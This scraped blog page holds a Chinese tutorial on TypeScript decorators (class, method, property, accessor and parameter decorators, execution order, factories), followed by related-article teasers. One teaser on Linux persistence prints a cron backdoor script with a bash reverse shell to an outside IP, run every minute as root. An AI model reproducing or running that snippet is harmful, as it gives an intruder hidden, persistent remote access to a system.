TypeScript(八)装饰器

news2024/10/5 13:29:13

目录

前言

定义

类装饰器

基本用法

操作方式

操作类的原型

类继承操作

方法装饰器

属性装饰器

存取器装饰器

参数装饰器

基本用法

参数过滤器

元数据函数实现

参数过滤

效果实践

装饰器优先级

相同装饰器

不同装饰器

装饰器工厂

hooks与class兼容

结语

相关文章


前言

本文收录于TypeScript知识总结系列文章,欢迎指正! 

程序遵循开放封闭原则,即在设计和编写软件时应该尽量避免对原有代码进行修改,而是通过添加新的代码来扩展软件的功能。

在日常开发中不知你有没有遇到以下情况,我们封装了一个Request模块,现在需要对请求进行拦截,访问请求参数,此时我们可以通过装饰器针对请求函数或者请求类进行访问,获取参数并解析

定义

在TS中,装饰器是一种特殊类型的声明。可以附加到类、方法、属性或参数上用于修改类的行为或属性。

在面向对象编程中,有时需要对类的行为和功能做出修改,直接修改类的内部可能会使成本升高,或出现其他问题;此时可以使用装饰器来修改类,在保证类内部结构与功能不变的前提下对数据或行为进行迭代

TS中装饰器可以分为类装饰器、方法装饰器、属性装饰器和参数装饰器。

tips:使用装饰器前需要在tsconfig中开启experimentalDecorators属性

类装饰器

类装饰器是应用于类的构造函数的函数,它可以用来修改类的行为。类装饰器可以有一个参数,即类的构造函数,通过这个参数我们可以对类的行为进行修改。

基本用法

类装饰器的语法是在一个普通的函数名前面加上@符号,后面紧跟着要装饰的类的声明,如:

const nameDecorator = (constructor: typeof Animal) => {
    console.log(constructor.prototype.name)// undefined
}
@nameDecorator
class Animal {
    name: string = "阿黄"
    constructor() {
        console.log(this.name);// 阿黄
    }
}
new Animal()

在上述代码中,我使用decorator获取Animal类的name属性,发现获取的是未定义,而在构造函数中却可以获取,原因是类的装饰器是在类定义时对类进行操作的,而属性及函数的初始化是当类实例化时进行的,所以获取不到name的值

操作方式

通过类装饰器操作类的方式有两种:操作类的原型和类的继承

操作类的原型

ES6之前的类是通过构造函数实现的,其原型prototype属性是存在的,所以我们在对类进行操作时可以使用修改原型的方式

type IAnimal = {
    name?: string
    getName?: () => string
}
const nameDecorator = (constructor: Function) => {
    const _this = constructor.prototype // 模拟类内部环境
    _this.name = "阿黄"
    _this.getName = () => {
        return _this.name
    }
}
@nameDecorator
class Animal implements IAnimal { }
const animal: IAnimal = new Animal()
console.log(animal.getName()) // 阿黄

上面代码实现了对类中name属性初始化以及实现了类的getName方法,在ES5中如何实现类的重写?看看下面代码对装饰器的修改:

const nameDecorator = (constructor: IAnimalProto) => {
    const _this = constructor.prototype // 模拟类内部环境
    _this.name = "阿黄"
    return class extends constructor {
        getName = () => {
            return "名字:" + _this.name
        }
    }
}

tips:如果通过这种方式无法修改类的属性或方法,可以把tsconfig中target属性调整为ES5,兼容低版本浏览器,此时类是通过构造函数实现的

类继承操作

ES6中的类语法糖中没有prototype属性,所以我们可以使用继承的方式实现上面的代码,并使用重写的方式修改类中的同名函数

type IAnimal = {
    name?: string
    getName?: () => string
}
type IAnimalProto = {
    new(): Animal
} & IAnimal
const nameDecorator = (constructor: IAnimalProto) => {
    return class extends constructor {
        constructor(public name = "阿黄") {
            super()
        }
        getName() {// 重写类中的函数
            return "姓名:" + this.name
        }
    }
}
@nameDecorator
class Animal implements IAnimal {
    name?: string;
    getName() {
        return this.name
    }
}
const animal: IAnimal = new Animal()
console.log(animal.getName()) // 姓名:阿黄

方法装饰器

方法装饰器是应用于类方法的函数,它可以用来修改方法的行为。方法装饰器可以接收三个参数,分别是目标类的原型对象(若装饰的是静态方法,则指的是类本身)、方法名称和方法描述符。

需要注意的是构造函数不是类的方法,所以方法装饰器不能直接用于装饰构造函数

tips:在类中使用方法装饰器需要避免箭头函数的出现,因为箭头函数的this指向它定义的环境,而不是实例对象,这导致了它无法获取到类的属性和方法

下面是一个案例


const nameDecorator = (target: Animal, key: string, descriptor: PropertyDescriptor): PropertyDescriptor => {
    console.log(target); // { setName: [Function (anonymous)] }
    console.log(key); // setName
    console.log(descriptor); 
    //   {
    //     value: [Function (anonymous)],
    //     writable: true,
    //     enumerable: true,
    //     configurable: true
    //   }
    return descriptor
}

class Animal {
    name: string
    @nameDecorator
    setName(name: string) {
        this.name = name
    }
}
const animal = new Animal()
animal.setName("阿黄")
console.log(animal.name); // 阿黄

其中target表示当前函数所在的类,key一般指函数名,descriptor指当前函数对象的描述符

基于上面的代码我们可以重写一下类中的setName函数:

const nameDecorator = (target: Animal, _: string, descriptor: PropertyDescriptor): PropertyDescriptor => {
    descriptor.value = (name: string) => {
        target.name = "名字:" + name
    }
    return descriptor
}

属性装饰器

属性装饰器应用于类属性的函数,它可以用来修改属性的行为或拦截属性的定义和描述符的访问,但是不能修改属性值。属性装饰器可以接收两个参数,分别是目标类的原型对象(若装饰的是静态属性,则指的是类本身)和属性名称。

与方法装饰器不同属性装饰器不会返回descriptor这个参数,也就是无法获取到属性的描述

const nameDecorator = (target: Animal, key: string) => {
    target[key] = '阿黄'
}
class Animal {
    @nameDecorator
    name: string
    setName(name: string) {
        this.name = name
    }
}
const animal = new Animal()
console.log(animal.name);// 阿黄
animal.setName("小黑")
console.log(animal.name);// 小黑

tips:为什么无法使用属性装饰器给属性定义初始值? 此时可以检查一下你的tsconfig.json里面的配置target是不是设置成ES2021以后(如:ESNext,ES2022,ES2023等),在ES2022前在TS中声明了属性成员会在JS编译成第一张图,ES2022及以后显示的是第二张图

解决方法:参考这个

我们可以将属性声明修改为环境声明(declare,在后续文章会说到),或者使用旧版本的target配置

class Animal {
    @nameDecorator
    declare name: string
    setName(name: string) {
        this.name = name
    }
}

存取器装饰器

存取器装饰器是一种特殊类型的装饰器,它可以被用来装饰类中的存取器属性。它的使用方式与方法装饰器相同。但是与方法装饰器不同的是存取器descriptor参数中没有value值,但是我们可以通过修改descriptor来重写getter和setter方法

const nameDecorator = (_: any, __: string, descriptor: PropertyDescriptor) => {
    const __getter = descriptor.get;
    descriptor.get = function () {// 必须使用function,使用箭头函数获取不到this
        const value = __getter?.call(this);// 运行get获取存取器属性
        return "名字:" + value;
    };
}
class Animal {
    constructor(private _name: string) { }
    @nameDecorator
    get name() {
        return this._name
    }
}
const animal = new Animal("阿黄")
console.log(animal.name);

参数装饰器

参数装饰器是应用于类构造函数或方法参数的函数,它可以用来获取参数位置。参数装饰器可以接收三个参数,分别是目标类的原型对象(若装饰的是静态方法,则指的是类本身)、方法名称和参数索引(第几个参数,从0开始)。

基本用法

参数装饰器是一个函数,它可以被应用到类的构造函数、方法的参数上,它无法应用在访问器(getter 和 setter)的参数。

const nameDecorator = (target: any, key: string, parameterIndex: number) => {
    const name = target.name ?? target.constructor.name
    console.log(`${name}中的${key ?? '构造函数'}第${parameterIndex}个参数`);
}
class Animal {
    constructor(public _name: string) { }
    setName(@nameDecorator name: string) {
        this._name = name
    }
}
new Animal("阿黄")

参数装饰器虽然无法直接获取或者修改参数,但是可以将参数的位置标识出来,与元数据(reflect-metadata库),以及方法装饰器配合达到过滤参数的目的

参数过滤器

下面我们借助一个简单的反射元数据操作实现一个参数过滤器

元数据函数实现

type IKey = string | symbol | number
const getReflect = () => Reflect ?? Object
const __Reflect = getReflect()

const defineMeta = (target: any, key: IKey, metadataKey: IKey, descriptor: PropertyDescriptor): void => {
    __Reflect.defineProperty(target[key], metadataKey, descriptor)
}

const getMeta = (target: any, key: IKey, metadataKey: IKey,): PropertyDescriptor => {
    return __Reflect.getOwnPropertyDescriptor(target[key], metadataKey)
}

参数过滤

下面我们实现一个参数过滤,如果name等于阿黄,则中断函数执行并跳出

// 存储参数的索引
const saveMeta2Arr = (target: any, key: string, parameterIndex: number, keyWord: string) => {
    const paramsList = getMeta(target, key, keyWord)?.value ?? []
    paramsList.push(parameterIndex)
    defineMeta(target, key, keyWord, { value: paramsList })
    return paramsList
}
// 参数装饰器
const paramsDecorator = (target: any, key: string, parameterIndex: number) => {
    const paramsList: string[] = saveMeta2Arr(target, key, parameterIndex, 'list:params')// 参数列表
    defineMeta(target, key, 'filter:params', {
        value: (...args) => {
            if (!!!args.length) return void 0 // 没传参数默认跳过参数校验
            return paramsList.filter(it => args[it] === "阿黄").length > 0// 我的校验规则是参数等于阿黄就跳出函数,这个可以自行修改
        }
    })
}
// 函数装饰器
const methodDecorator = (target: Animal, key: string, descriptor: PropertyDescriptor) => {
    const fn = getMeta(target, key, 'filter:params').value // 获取参数装饰器的回调函数
    const method = descriptor.value
    descriptor.value = function (...args) {
        if (fn(...args)) return console.error("跳出了函数");// 过滤操作
        method.apply(this, args)
    }
}
class Animal {
    constructor(public name?: string) { }
    @methodDecorator
    setInfo(@paramsDecorator name?: string) {
        console.log("执行了函数");
        this.name = name
    }
}

效果实践

实现完成我们实例化一下类试试,可以看到,此时由于我们传入的参数是阿黄,所以setName函数未执行

const animal = new Animal()
animal.setInfo("阿黄")
console.log(animal.name);
// 跳出了函数
// undefined

下面我们修改一下,传入一个参数:小黑

const animal = new Animal()
animal.setInfo("小黑")
console.log(animal.name);
// 执行了函数
// 小黑

上述代码执行了setName并且将name赋值了小黑

装饰器优先级

下面说说当多个装饰器作用于同一个目标时,它们执行的顺序和影响的优先级是怎样的

相同装饰器

同一种装饰器的执行顺序是从下往上,理解为就近原则,近的先执行

const decorator1 = (...args: any[]) => {
    console.log(1)
}
const decorator2 = (...args: any[]) => {
    console.log(2)
}
const decorator3 = (...args: any[]) => {
    console.log(3)
}
@decorator1
@decorator2
@decorator3
class Animal { }
new Animal()
// 输出3 2 1

不同装饰器

不同装饰器遵循:参数>函数=属性=存取器>类,参数优先级最高,类最后执行。何以见得?

const decorator1 = (...args: any[]) => {
    console.log(1)
}
const decorator2 = (...args: any[]) => {
    console.log(2)
}
const decorator3 = (...args: any[]) => {
    console.log(3)
}
const decorator4 = (...args: any[]) => {
    console.log(4)
}
const decorator5 = (...args: any[]) => {
    console.log(5)
}
@decorator1
class Animal {
    @decorator2
    _name: string
    @decorator3
    get name() {
        return this._name
    }
    @decorator4
    setName(@decorator5 name: string) {
        this._name = name
    }
}
new Animal()

上面的代码输出2 3 5 4 1;我们换个顺序,把属性,函数,存取器调换位置再试试

@decorator1
class Animal {
    @decorator4
    setName(@decorator5 name: string) {
        this._name = name
    }
    @decorator3
    get name() {
        return this._name
    }
    @decorator2
    _name: string
}

输出5 4 3 2 1。可见属性,函数,存取器优先级在同级,参数更高,类更低

装饰器工厂

使用类装饰器和方法装饰器时,我们难免会遇到参数传递的问题,每个装饰器都有可以复用的可能,为了使代码高可用,我们可以尝试使用高阶函数实现一个工厂,外部函数接收参数,函数返回装饰器

type IAnimal = {
    name?: string
}
type IAnimalProto = {
    new(name: string): Animal
} & IAnimal

const nameDecorator = (name: string) => (constructor: IAnimalProto) => {
    return class extends constructor {
        constructor() {
            super(name)
        }
    }
}
@nameDecorator("阿黄")
class Animal implements IAnimal {
    constructor(public name?: string) { }
}
const animal: IAnimal = new Animal()
console.log(animal.name);

上述代码中我们实现了使用装饰器工厂给Animal类的属性name赋予默认值的功能

hooks与class兼容

在实际开发中,如果是使用react开发应该会遇到这样的问题,使用类开发的组件装饰器写法是这样

@EnhanceConnect((state: any) => ({
  global: state['@global'].data
}))
export class MyComponent {
  constructor(props: IProps) {
    // ...
  }
}

如何转换成hooks写法?

export const MyComponent = EnhanceConnect((state: any) => ({
  global: state['@global'].data
}))((props: IProps) => {
  useEffect(() => {
    // ...
  })
})

结语

本文详细讲述了类装饰器,方法装饰器,属性装饰器,存取器装饰器,参数装饰器这五种装饰器的基本用法及注意事项;此外还针对装饰器优先级进行了排序及证明;最后介绍了装饰器工厂即装饰器的实际应用场景兼容方法。

感谢你的阅读,希望文章能对你有帮助,有任何问题欢迎留言私信,请别忘了给作者点个赞哦,感谢~

相关文章

Decorators - TypeScript 中文手册

装饰器与混合对象 - TypeScript 精通指南

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/421411.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电子的普线图、能级图,能量吸收和共振

一、圆形电子轨道谱线 光谱产生的原因:原子中的电子在轨道上发生跃迁。如莱曼系为电子从n2,3,4等轨道跃迁到n1的基态轨道产生。 圆形电子轨道:中心的圆点为原子核,中心最接近原子核为n1的电子轨道,轨道大小正比于n的平方。如下图…

NoSQL数据库简介

NoSQL代表“不仅是SQL”,指的是一种数据库管理系统,旨在处理大量非结构化和半结构化数据。与使用具有预定义架构的表格格式的传统SQL数据库不同,NoSQL数据库是无模式的,并且允许灵活和动态的数据结构。 NoSQL数据库是必需的&…

kafka笔记

消息队列 场景模式基础架构发送原理异步发送同步发送分区生产者提高吞吐量:数据可靠性ack应答数据重复幂等性事务数据有序数据乱序broker工作流程follower故障leader故障数据查找文件清除高效读写消费者流程消费者组初始化分区分配策略自动提交offset手动提交指定位…

GaussDB数据库事务介绍

目录 一、前言 二、GaussDB事务的定义及应用场景 三、GaussDB事务的管理 四、GaussDB事务语句 五、GaussDB事务隔离 六、GaussDB事务监控 七、总结 一、前言 随着大数据和互联网技术的不断发展,数据库管理系统的作用越来越重要,实现数据的快速读…

Springboot——文件的上传与下载(reggie)

目录 一、文件上传——upload 1.1 介绍 1.2 前端代码实现 1.3 后端代码实现 二、文件下载——download 2.1 介绍 2.2 前端代码编写 2.3 后端代码编写 三、 前端总代码 四、 应用场景 4.1 数据库表 4.1.1 菜品表 4.1.2 菜品口味表 4.1.3 菜品分类及菜品套餐表 4.2 实体类 4.…

【GitHub Copilot X】基于GPT-4的全新智能编程助手

文章目录一、前言1.1 编程助手的重要性和历史背景1.2 Copilot X 的背景和概览1.3 Copilot X 的核心技术二、自然语言处理技术的发展和现状2.1 GPT-4 技术的基本原理和应用场景2.2 Copilot X 如何利用 GPT-4 进行智能编程2.3 Copilot X 的特点和优点三、比较 Copilot X 和传统编…

Vue组件的通信方式有哪些?

文章目录组件间通信的概念组件间通信解决了什么?组件间通信的分类组件间通信的方案props传递数据$emit 触发自定义事件refEventBus$parent 或 $root$attrs 与 $listenersprovide 与 injectvuex小结组件间通信的概念 开始之前,我们把组件间通信这个词进行…

ChatGPT背后有哪些关键技术?CSIG企业行带你一探究竟

目录1 ChatGPT的时代2 CSIG企业行3 议题&嘉宾介绍3.1 对生成式人工智能的思考3.2 对话式大型语言模型研究3.3 文档图像处理中的底层视觉技术4 观看入口1 ChatGPT的时代 2015年,马斯克、美国创业孵化器Y Combinator总裁阿尔特曼、全球在线支付平台PayPal联合创始…

一文总结经典卷积神经网络CNN模型

一般的DNN直接将全部信息拉成一维进行全连接,会丢失图像的位置等信息。 CNN(卷积神经网络)更适合计算机视觉领域。下面总结从1998年至今的优秀CNN模型,包括LeNet、AlexNet、ZFNet、VGG、GoogLeNet、ResNet、DenseNet、SENet、Sque…

11万字数字政府智慧政务大数据建设平台(大数据底座、数据治理)

本资料来源公开网络,仅供个人学习,请勿商用,如有侵权请联系删除。部分资料内容: 一.1.1 数据采集子系统 数据采集需要实现对全区各委办单位的数据采集功能,包括离线采集、准实时采集和实时采集的采集方式,根…

【云原生】Kubernetes(k8s)之容器的探测

Kubernetes(k8s)之容器的探测一、探测类型及使用场景1.1、startupProbe(启动探测)1.2、readinessProbe(就绪探测)1.3、livenessProbe(存活探测)二、检查机制三、探测结果四、容器探测…

Springboot是怎么解决跨域问题的?

什么是跨域?简单理解,就是在不前网页下,试图访问另外一个不同域名下的资源时,受到浏览器同源策略的限制,而无法正常获取数据的情况;什么是同源策略同源策略是浏览器出于安全考虑而制定的一种限制资源访问的…

C++输入输出、缺省参数、函数重载【C++初阶】

目录 一、C输入&输出 二、缺省参数 1、概念 2、分类 (1)全缺省 (2)半缺省 三、函数重载 1、概念 2、原理------名字修饰 一、C输入&输出 在C语言中,我们常用printf和scanf这两个函数进行输入输出。 …

【权限维持】LinuxRootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

Vue插槽理解

Vue插槽理解插槽插槽 slot又名插槽,vue内容分发机制,组件内部的模板引擎使用slot元素作为承载分发内容的出口 插槽slot是子组件的一个模板标签元素,而这一个元素是否显示,以及怎么显示是由父组件决定的 slot分为三类:默…

【Java】Maven是什么?手把手先创建个Maven项目

🚀Java程序员必备的项目管理工具——Maven 📓推荐网站(不断完善中):个人博客 📌个人主页:个人主页 👉相关专栏:CSDN相关专栏 🏝立志赚钱,干活想躺,瞎分享的摸…

线程池技术

线程池技术是一种典型的生产者-消费者模型。 线程池技术是指能够保证所创建的任一线程都处于繁忙状态,而不需要频繁地为了某一任务而创建和销毁线程,因为系统在创建和销毁线程时所耗费的cpu资源很大。如果任务很多,频率很高,为了…

站上风口,文心一言任重道远

目录正式发布时机选择逻辑推理AI绘画用户选择总结自从OpenAI公司的chatGPT发布以来,吸引了全球目光,同时也引起了我们的羡慕,希望有国产的聊天机器人,盼星星盼月亮,终于等来了百度文心一言的发布。 正式发布 3月16日…

VUE3项目实现动态路由demo

文章目录1、创建vue项目2、安装常用的依赖2.1 安装elementUI2.2 安装axios2.3 安装router2.4 安装vuex2.5 安装store2.6 安装mockjs3、编写登录页面以及逻辑4、编写首页以及逻辑5、配置router.js6、配置store.js7、配置menuUtils.js(动态路由重点)8、配置…

像ChatGPT玩转Excel数据

1.引言 最近ChatGPT的出现,把人工智能又带起了一波浪潮。机器人能否替代人类又成了最近热门的话题。 今天我们推荐的一个玩法和ChatGPT有点不一样。我们的课题是“让用户可以使用自然语言从Excel查询到自己想要的数据”。 要让自然语言可以从Excel中查数据&#…